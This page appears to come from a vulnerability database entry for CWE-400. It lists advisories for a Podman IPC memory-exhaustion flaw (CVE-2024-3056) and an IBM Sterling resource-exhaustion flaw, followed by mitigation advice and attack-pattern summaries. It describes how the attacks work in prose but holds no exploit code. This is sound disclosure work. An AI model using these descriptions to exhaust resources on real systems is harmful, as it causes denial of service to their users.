A flaw was found in Podman. This issue may allow an attacker to create a specially crafted container that, when configured to share the same IPC with at least one other container, can create a large number of IPC resources in /dev/shm. The malicious container will continue to exhaust resources until it is out-of-memory (OOM) killed. While the malicious container's cgroup will be removed, the IPC resources it created are not. Those resources are tied to the IPC namespace that will not be removed until all containers using it are stopped, and one non-malicious container is holding the namespace open. The malicious container is restarted, either automatically or by attacker control, repeating the process and increasing the amount of memory consumed. With a container configured to restart always, such as podman run --restart=always, this can result in a memory-based denial of service of the system.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containers/podman/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-05T17:28:04Z",
    "nvd_published_at": "2024-08-02T21:16:30Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in Podman. This issue may allow an attacker to create a specially crafted container that, when configured to share the same IPC with at least one other container, can create a large number of IPC resources in /dev/shm. The malicious container will continue to exhaust resources until it is out-of-memory (OOM) killed. While the malicious container\u0027s cgroup will be removed, the IPC resources it created are not. Those resources are tied to the IPC namespace that will not be removed until all containers using it are stopped, and one non-malicious container is holding the namespace open. The malicious container is restarted, either automatically or by attacker control, repeating the process and increasing the amount of memory consumed. With a container configured to restart always, such as `podman run --restart=always`, this can result in a memory-based denial of service of the system.",
  "id": "GHSA-rpcc-p8xm-rc6p",
  "modified": "2024-12-27T18:30:26Z",
  "published": "2024-08-02T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3056"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-3056"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2270717"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containers/podman"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3042"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241227-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Podman vulnerable to memory-based denial of service"
}

GHSA-RPF3-74P4-XXXJ

Vulnerability from github – Published: 2023-01-11 18:30 – Updated: 2023-01-18 18:30
VLAI
Details

IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.1 could allow an authenticated user to exhaust server resources which could lead to a denial of service. IBM X-Force ID: 229705.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34335"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-11T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling Partner Engagement Manager 6.1.2, 6.2.0, and 6.2.1 could allow an authenticated user to exhaust server resources which could lead to a denial of service. IBM X-Force ID: 229705.",
  "id": "GHSA-rpf3-74p4-xxxj",
  "modified": "2023-01-18T18:30:16Z",
  "published": "2023-01-11T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34335"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/229705"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6854331"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list